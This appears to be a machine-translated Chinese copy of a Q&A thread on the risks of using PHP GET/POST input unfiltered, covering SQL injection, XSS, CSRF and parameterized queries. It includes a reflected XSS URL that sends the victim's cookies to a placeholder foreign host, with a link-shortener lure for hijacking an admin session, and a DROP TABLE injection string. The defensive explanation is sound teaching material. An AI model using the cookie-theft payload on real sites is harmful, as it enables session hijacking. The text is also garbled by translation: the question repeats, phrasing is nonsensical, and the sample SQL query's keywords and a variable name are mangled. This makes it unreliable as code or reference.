我想知道是什么漏洞 ,而直接使用GET和POST变量。 即具有了修整和addslashes的功能和MySQL转义字符串类似的东西。
我的问题是
更重要的是,我们需要照顾的同时用GET和POST播放。
什么样的攻击是有像SQL注入?
我想知道是什么漏洞 ,而直接使用GET和POST变量。 即具有了修整和addslashes的功能和MySQL转义字符串类似的东西。
我的问题是
更重要的是,我们需要照顾的同时用GET和POST播放。
什么样的攻击是有像SQL注入?
在一般情况下,并不仅限于GET和POST而且还指来自系统(包括Web应用程序的情况下,饼干)以外的任何数据:
几乎所有的漏洞归结为“用户可以运行他们传递他们的输入上下文喜欢的任何代码。”
你需要考虑你正在用数据做什么。 寻找可能的事接受被感染的投入在世界上是不会产生一个详尽的清单任何系统时可能出错的列表。
而作为一个旁白:忘记和addslashes(它不是有效的),忘mysql_real_escape(它太容易犯错误吧)。 使用参数化查询: 如何防止SQL注入的PHP?
最简便的XSS攻击与社会工程的一点点
让我们假设你有一个简单的PHP应用程序,使用会话来跟踪用户。 它有某种管理界面,在这里用户提供更高的特权可以让我们说编辑的内容。
而且,让我们假设你正在登录的管理员到该网站,并且有该应用程序中的文件request.php,与下面的代码段
echo $GET['action'];
现在,有人发现了这一点,构建以下网址HTTP://yourapp/request.php行动= document.location.href = ' HTTP:// foreignsite C = ' + document.cookie中
然后有人会将此网址tinyurl.com,它缩短了类似http://tinyurl.com/x44534 ,然后他向您发送电子邮件,称:“嘿,看看这个,你我觉得它有用” 。
您点击链接,tinyurl.com翻译短网址回长,您的浏览器重定向到它,你request.php高兴地从查询输出Javascript,您的浏览器看到它,执行它,结果,人谁运行的http:// foreignsite得到所有你的cookies。
然后,他只需要插入这些Cookie值他的浏览器,瞧,他要你的网站管理界面的即时访问。 因为他有你的会话cookie。
这说明一个最简单的XSS攻击,真的很简单,可能不会在现实生活中工作,但希望你得到了它是如何工作的基本思路。
如果你采取任何GET或POST变量,有效地“执行”它,而无需将其通过的一些各种各样的过滤器,你打开自己高达注入攻击。 SQL注入显然是一个非常常见的情况,但如果你做任何形式的eval()
与数据(在编程语言,或任何其他数据库或解释的情况-包括通过HTML返回给浏览器进行解译客户端),那么博学攻击可以通过精心设计的输入数据,这将使您的应用程序做的事情是意外。
由于人们早已写的, 任何和所有的用户输入应被视为恶意 ,无论你怎么可能安全的感觉。
开发商认为有关保护在他们写它,当他们正在修改时间的代码,而黑客想搞乱的代码时,他们决定有它的裂缝可以是今天,明天或两年。 什么可能看起来在代码编写可能变成是在以后的某个点可利用的时间万无一失。
基本上,所有的输入应该被过滤,检查和消毒,宗教,无论它是什么,在任何给定时间使用。 有人可能会在消毒一块用户输入的,因为“它不会被用于任何可以造成伤害”,然后一一个月下来条跳跃,有人在团队决定使用presumedly杀毒的数据,这是分配给一个变量,在SQL查询或系统exec调用和整个系统的打击。
应该做什么:
白名单,而不是黑名单 -知道你期待什么样的输入类型,并相应地转换的用户数据,IDS通常是整数所以它的安全投下所有用户提交的ID作为整数。 - 知道什么时候你期待少量数据,而当你期望很大。 个人的名字通常是比较短的,不包含数字,“1' ; DROP TABLE客户;” 是不是一个真正的名字,你可以知道,如果没有加斜杠。
然后黑名单一些,以防万一 -标准逃逸逻辑适用于通过您的白名单中的所有数据,以防万一
然后过滤,并检查了起来 -直到你觉得安全
主要CSRF,XSS和目录遍历:
http://en.wikipedia.org/wiki/Cross-site_request_forgery
http://en.wikipedia.org/wiki/Cross-site_scripting
http://en.wikipedia.org/wiki/Directory_traversal
它延伸到一点多只“取”或“后”。 它的所有依赖的技能当然就支持他们。 如果你只是服务了一个静态的HTML页面,而不是一大堆漏洞。 如果在另一方面,你要设置并通过GET请求修改数据,该漏洞可以是无止境的,只是仰望的谷歌机器人消灭了数据的情况下,从使用“GET”提交事情的地方。
这一切都取决于你所使用的数据是什么,以及vulnerabilites仅限于获取或设置。 净化你的投入。
GET和POST数据是从用户直接发送数据。 你得到它的原料,与用户和程序之间的任何检查或验证。 即使你以验证应该发起所述数据的形式,攻击者可以手动手艺与任何他想做的数据的请求。 所以,你必须始终把请求数据作为不可信的用户输入。
有许多的依赖于编码器忘了请求数据不可信攻击,但最知名,是SQL注入。 SQL注入的根本原因是通过手动连接字符串,其中一些是不可信的用户输入建立一个查询。 这意味着,你告诉你的数据库中执行不信任的用户输入。
幼稚溶液SQL注入是验证输入,然后将它们连接成一个查询字符串,但是这是形式差为好。 你是靠你的验证逻辑,使串安全的,如果你滥用它 - 或者逻辑是越野车 - 那你再次暴露于攻击。
正确的解决方法是将您的查询从它所包含的数据分开。 几乎所有的数据库适配器都支持这种做法,如果你不出于某种原因,它不适合使用。 最常见的成语是(排名不分语言):
myDB.query( “SELECT * FROM东西其中id =?”,[42]);
这将保证(在这样的系统),该参数不执行。 查询字符串是从完全可信的数据来构建,而不受信任的数据是分开的。 在最坏的情况,这种方法适用于不当的输入可以导致不正确的数据,而不是不正确的命令。
这种做法避免SQL注入强调了适用于所有类型的请求数据攻击的中心原则:请求数据不是你的,它是不是安全。 在处理任何用户输入,包括请求数据,总是假设它是从您的系统的深入了解攻击者发起。 这似乎偏执,但它使你的安全。
所有超全局可通过用户代理进行操作。 $ _ SERVER,$ _ POST,$ _ GET等